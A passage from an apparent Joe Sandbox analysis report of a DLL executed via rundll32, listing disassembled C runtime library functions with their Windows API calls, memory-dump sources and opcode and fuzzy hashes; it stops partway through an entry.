Instruction Fuzzy Hash: 1EF0BB3111576657EB528ED78C95A8F3F58EF42670B114161D814970ACDB30F40082A0

Non-executed Functions

Function 6EB07288 Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6EB07294
IsDebuggerPresent.KERNEL32 ref: 6EB07360
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6EB07380
UnhandledExceptionFilter.KERNEL32(?), ref: 6EB0738A

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: abcbddf40fd6a522ef06c48b4d7b590712fcbc4b3788a9c4cb8d4c3bcad8f256
Instruction ID: 1c656878e5f2da9a067285736913b8d0da80496f056099db5c0423f30d34d905
Opcode Fuzzy Hash: abcbddf40fd6a522ef06c48b4d7b590712fcbc4b3788a9c4cb8d4c3bcad8f256
Instruction Fuzzy Hash: E8311AB5D15229DBDB10DFA4C9897CDBBB8AF08304F1041DAE409A7280EBB45A85CF44

Function 6EB09820 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6EB09918
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6EB09922
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6EB0992F

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: bd728c4801c2d791da964c47c8862359abdfe4ab73a60545249a1f0a1d745c78
Instruction ID: c5709475d94b99dceaf0a4850a04ec646fe16334bf8784b34af9fbc924cf4fb0
Opcode Fuzzy Hash: bd728c4801c2d791da964c47c8862359abdfe4ab73a60545249a1f0a1d745c78
Instruction Fuzzy Hash: 2A31E8749112299BCF61DF64C989BCCBBB8FF48310F5041DAE41CA7290E774AB858F44

Function 6EB0A254 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,6EB0A253,?,00000001,?,?), ref: 6EB0A276
TerminateProcess.KERNEL32(00000000,?,6EB0A253,?,00000001,?,?), ref: 6EB0A27D
ExitProcess.KERNEL32 ref: 6EB0A28F

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 3c9e60628fa19677db4d90d0b41d1ec4c5283912388006b7507eeb84de19628a
Instruction ID: ceb6f97b28c846d5673eced0566fe34fb5511e8bdd1d87686f31bd21e82c5316
Opcode Fuzzy Hash: 3c9e60628fa19677db4d90d0b41d1ec4c5283912388006b7507eeb84de19628a
Instruction Fuzzy Hash: 73E0E631421545EFCF516F94C85DA8C7F69FB55651B014824F4058B535CB36E981DF90

Function 6EB11AB1 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6EB11AAC,?,?,00000008,?,?,6EB11744,00000000), ref: 6EB11CDE

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: f20dcca05249fa8a041eb184641bf255b308874648c9cc6a840bdc3aacd1def3
Instruction ID: b917520fee106e778f8f72189705429581090fa0e9e99cf9d11be3ecf69d6835
Opcode Fuzzy Hash: f20dcca05249fa8a041eb184641bf255b308874648c9cc6a840bdc3aacd1def3
Instruction Fuzzy Hash: 44B15531224649CFD745CF68C496BA57FA0FF15364F298698E8E9CF2A1C335E986CB40

Function 6EB070A7 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6EB070BD

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 2755254e9dc94bccce2c433ddbb50ea44eb18e63434be3b2c7e9d90f6be2c65b
Instruction ID: fd12ae1faaaa1730b947db1d7e110333f03e66303b8399ffe031909fcaa4079b
Opcode Fuzzy Hash: 2755254e9dc94bccce2c433ddbb50ea44eb18e63434be3b2c7e9d90f6be2c65b
Instruction Fuzzy Hash: 855149B1A10B568BDB04DF95C49679ABFF0EB45360F20C46AD515EB680D3B4A940CF60

Function 6EB0BCEE Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 660cfadff491239c4e3264276f3a099958887481dbc097168be0c2d84056ed39
Instruction ID: 7f4260ebe5ecdd0bbf43cbb908b86d04cde30e9909ad435a2b738c810bad5b93
Opcode Fuzzy Hash: 660cfadff491239c4e3264276f3a099958887481dbc097168be0c2d84056ed39
Instruction Fuzzy Hash: 5D41ADB1814259AEDB50CFA9CCD8AEEBFB8EF45304F1446D9E41DE3214DA34AE848F50

Function 6EB0D218 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 6EB0D218

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 8717babdb95e310683b30a008783ffee452774299d9cf5445523185dc5fe7ce5
Instruction ID: 60940b5c9bb960b910cf86e94d9dc8a22c9d4ae7e6cd404ca03303839927007a
Opcode Fuzzy Hash: 8717babdb95e310683b30a008783ffee452774299d9cf5445523185dc5fe7ce5
Instruction Fuzzy Hash: EEA00274A11A01CF9F408F75862B38E3AE9BEBF6F27259179E409C7955EB348460EB01

Function 6EB0B881 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08556a0b7e2f291a7373366f56b938cabd7d16554c8359c94350950b64b82922
Instruction ID: 0b1b1411b2738ecb05b891e4ae5b0c5dcb5d8244eff7faaf3a26b629e0c714bb
Opcode Fuzzy Hash: 08556a0b7e2f291a7373366f56b938cabd7d16554c8359c94350950b64b82922
Instruction Fuzzy Hash: 5BE08C32A21268EBCB15CBD8C980A8EBBECEB44B10B1145A6F511D3214C270EE04CBD0

Function 6EB0DDF0 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 6EB0DE34

Part of subcall function 6EB0E230: _free.LIBCMT ref: 6EB0E24D
Part of subcall function 6EB0E230: _free.LIBCMT ref: 6EB0E25F
Part of subcall function 6EB0E230: _free.LIBCMT ref: 6EB0E271
Part of subcall function 6EB0E230: _free.LIBCMT ref: 6EB0E283
Part of subcall function 6EB0E230: _free.LIBCMT ref: 6EB0E295
Part of subcall function 6EB0E230: _free.LIBCMT ref: 6EB0E2A7
Part of subcall function 6EB0E230: _free.LIBCMT ref: 6EB0E2B9
Part of subcall function 6EB0E230: _free.LIBCMT ref: 6EB0E2CB
Part of subcall function 6EB0E230: _free.LIBCMT ref: 6EB0E2DD
Part of subcall function 6EB0E230: _free.LIBCMT ref: 6EB0E2EF
Part of subcall function 6EB0E230: _free.LIBCMT ref: 6EB0E301
Part of subcall function 6EB0E230: _free.LIBCMT ref: 6EB0E313
Part of subcall function 6EB0E230: _free.LIBCMT ref: 6EB0E325

_free.LIBCMT ref: 6EB0DE29

Part of subcall function 6EB0B90F: HeapFree.KERNEL32(00000000,00000000,?,6EB0AB0E), ref: 6EB0B925
Part of subcall function 6EB0B90F: GetLastError.KERNEL32(?,?,6EB0AB0E), ref: 6EB0B937

_free.LIBCMT ref: 6EB0DE4B
_free.LIBCMT ref: 6EB0DE60
_free.LIBCMT ref: 6EB0DE6B
_free.LIBCMT ref: 6EB0DE8D
_free.LIBCMT ref: 6EB0DEA0
_free.LIBCMT ref: 6EB0DEAE
_free.LIBCMT ref: 6EB0DEB9
_free.LIBCMT ref: 6EB0DEF1
_free.LIBCMT ref: 6EB0DEF8
_free.LIBCMT ref: 6EB0DF15
_free.LIBCMT ref: 6EB0DF2D

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 289a0bdf664b5a91976db207c72ae6a085b0b7f6a1cee6051f52e34d07348cbd
Instruction ID: 9fec6bfeae3b964eb27e72d84acb22a48eddee465f93d54acd55928aa0dba300
Opcode Fuzzy Hash: 289a0bdf664b5a91976db207c72ae6a085b0b7f6a1cee6051f52e34d07348cbd
Instruction Fuzzy Hash: FD314A716242859FEF619AB4EC84B9A7FE8EF01354F109829E495D7198DB30F9508A20

Function 6EB082C0 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6EB083BD
type_info::operator==.LIBVCRUNTIME ref: 6EB083DF
___TypeMatch.LIBVCRUNTIME ref: 6EB084EE
IsInExceptionSpec.LIBVCRUNTIME ref: 6EB085C0
_UnwindNestedFrames.LIBCMT ref: 6EB08644
CallUnexpected.LIBVCRUNTIME ref: 6EB0865F

Strings

csm, xrefs: 6EB082FD
csm, xrefs: 6EB0836A
csm, xrefs: 6EB08416

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 7319352720694bcb0ac622968f33e8aa391fda261d87fb3d215609b31ab21b08
Instruction ID: 812e0fd2ee607008f695da1b37a606d0f2639c5811e37dc461ffb78ee53896ec
Opcode Fuzzy Hash: 7319352720694bcb0ac622968f33e8aa391fda261d87fb3d215609b31ab21b08
Instruction Fuzzy Hash: 22B1747181029AEFCF05DFE4D88099EBFB9FF44324B10856AE8146B211D771EA62CF91

Function 6EB0B188 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6EB0B19E

Part of subcall function 6EB0B90F: HeapFree.KERNEL32(00000000,00000000,?,6EB0AB0E), ref: 6EB0B925
Part of subcall function 6EB0B90F: GetLastError.KERNEL32(?,?,6EB0AB0E), ref: 6EB0B937

_free.LIBCMT ref: 6EB0B1AA
_free.LIBCMT ref: 6EB0B1B5
_free.LIBCMT ref: 6EB0B1C0
_free.LIBCMT ref: 6EB0B1CB
_free.LIBCMT ref: 6EB0B1D6
_free.LIBCMT ref: 6EB0B1E1
_free.LIBCMT ref: 6EB0B1EC
_free.LIBCMT ref: 6EB0B1F7
_free.LIBCMT ref: 6EB0B205

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c036b6b94e4bd38e3cdecacbafebaff441c65364be520d290f13e8addb581f80
Instruction ID: b6bd2119dcfd85b9f8807f17e8d65334591bfcda4fdf6fc00a6a49b1b76aa829
Opcode Fuzzy Hash: c036b6b94e4bd38e3cdecacbafebaff441c65364be520d290f13e8addb581f80
Instruction Fuzzy Hash: 4821947692414CAFCF51EFE4C880EDE7FB9AF08344F0149A6E5659B125EB31EB448B80

Function 6EB07C10 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6EB07C47
___except_validate_context_record.LIBVCRUNTIME ref: 6EB07C4F
_ValidateLocalCookies.LIBCMT ref: 6EB07CD8
__IsNonwritableInCurrentImage.LIBCMT ref: 6EB07D03
_ValidateLocalCookies.LIBCMT ref: 6EB07D58

Strings

csm, xrefs: 6EB07CED

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c0dd08dc3f18af68791d607c18deb68b142552a0ca7544daf9622de31752b802
Instruction ID: e8851a1b1e567d377dfbe8c592cc6451f95b031d43994da386326309ced19145
Opcode Fuzzy Hash: c0dd08dc3f18af68791d607c18deb68b142552a0ca7544daf9622de31752b802
Instruction Fuzzy Hash: 4341E434A10199ABCF10EFA8C854ADEFFB5FF45328F108595E8145B395D7B1BA11CB90

Function 6EB0CE36 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 6EB0CE8D
ext-ms-, xrefs: 6EB0CEA1

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: ffb0bac61f9daa99771753beb69bb4c20e2dfabfcff6c4c05658b4c02e2a0acd
Instruction ID: fdcf33e4a48db0c30669cdf978e46ab5d79900be1d69497864c8a17691f12af9
Opcode Fuzzy Hash: ffb0bac61f9daa99771753beb69bb4c20e2dfabfcff6c4c05658b4c02e2a0acd
Instruction Fuzzy Hash: 6121F332B55661EBCB118AE9AC85B8B3F69EB027B0F110514E916EF685D730F800CAF0

Function 6EB0E3CF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6EB0E397: _free.LIBCMT ref: 6EB0E3BC

_free.LIBCMT ref: 6EB0E41D

Part of subcall function 6EB0B90F: HeapFree.KERNEL32(00000000,00000000,?,6EB0AB0E), ref: 6EB0B925
Part of subcall function 6EB0B90F: GetLastError.KERNEL32(?,?,6EB0AB0E), ref: 6EB0B937

_free.LIBCMT ref: 6EB0E428
_free.LIBCMT ref: 6EB0E433
_free.LIBCMT ref: 6EB0E487
_free.LIBCMT ref: 6EB0E492
_free.LIBCMT ref: 6EB0E49D
_free.LIBCMT ref: 6EB0E4A8

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 721850df8d4c47503c6824c909b1dca4e5bf9ba2e63f805735e24cd8dbef12be
Instruction ID: ab3b070aa7b59f22fa54655f1d59ad397c529eb81970f738f64a02615da9dec9
Opcode Fuzzy Hash: 721850df8d4c47503c6824c909b1dca4e5bf9ba2e63f805735e24cd8dbef12be
Instruction Fuzzy Hash: 3A112B71974B88AEDE32ABF0CD45FCF7F9CAF04708F404C1AA299A6094DB75FA148650

Function 6EB0F25C Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 6EB0F2A4
__fassign.LIBCMT ref: 6EB0F489
__fassign.LIBCMT ref: 6EB0F4A6
WriteFile.KERNEL32(?,6EB0D927,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EB0F4EE
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6EB0F52E
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EB0F5D6

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 515eb233285ee3d760550337654c974ed4d0c3ec8f00382ed3c3b208417cb24a
Instruction ID: 30de65cb30eb0c5ecb9e399116e7665f440a4c1cc0b1ccb5bd106372f2cc132f
Opcode Fuzzy Hash: 515eb233285ee3d760550337654c974ed4d0c3ec8f00382ed3c3b208417cb24a
Instruction Fuzzy Hash: 4CC18B75E002999FCB15CFE8C8909EDBFB9FF49324F28416AE855B7241D631A902CF64

Function 6EB07F89 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6EB07B9E,6EB068B4,6EB06D4B,?,6EB06F85,?,00000001,?,?,00000001,?,6EB1C7F8,0000000C,6EB0707E), ref: 6EB07F97
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6EB07FA5
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6EB07FBE
SetLastError.KERNEL32(00000000,6EB06F85,?,00000001,?,?,00000001,?,6EB1C7F8,0000000C,6EB0707E,?,00000001,?), ref: 6EB08010

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: f707b4d0485f6a2d1580ebfd60f948c130fc54423b10197d553defc463fa6b61
Instruction ID: a52f47ce22b4576bdf943a83dcb86df6536ef896e3aaf36ae5b113272caa29b1
Opcode Fuzzy Hash: f707b4d0485f6a2d1580ebfd60f948c130fc54423b10197d553defc463fa6b61
Instruction Fuzzy Hash: 5501D83332D6A3AD9A6156F45C9E69F3E58DB527797200B3DF120864D4EF51A8016540

Function 6EB0C17B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EB0C180

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: cdc0a3909b28b1e2ab310a7ddc6f6a095faf747ab68a6453d3d9467346a1a020
Instruction ID: c311c43b4407f502fd36130cc06ff182c6e4a09cc8d646de150ad7c907820846
Opcode Fuzzy Hash: cdc0a3909b28b1e2ab310a7ddc6f6a095faf747ab68a6453d3d9467346a1a020
Instruction Fuzzy Hash: 59219271624585AF9B509EE58C80D9ABF6DEF813687114A25F8249B944E730FC508FB0

Function 6EB08FF7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6EB090B8,00000000,?,00000001,00000000,?,6EB0912F,00000001,FlsFree,6EB16E3C,FlsFree,00000000), ref: 6EB09087

Strings

api-ms-, xrefs: 6EB09047

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 06b881eafa1578ce3f118c6deb3d8b7ce94ecd3ae45f9f2d46834607cd4fa714
Instruction ID: 862724bd2a2fc9436e68248dafce8c9236644a1561d29d9291d5a1449066a5e6
Opcode Fuzzy Hash: 06b881eafa1578ce3f118c6deb3d8b7ce94ecd3ae45f9f2d46834607cd4fa714
Instruction Fuzzy Hash: B811CA32E55563ABDF524BE88C4578A7FA8DF827B0F114210E911E72C4E770FA0086E1

Function 6EB0A2D9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

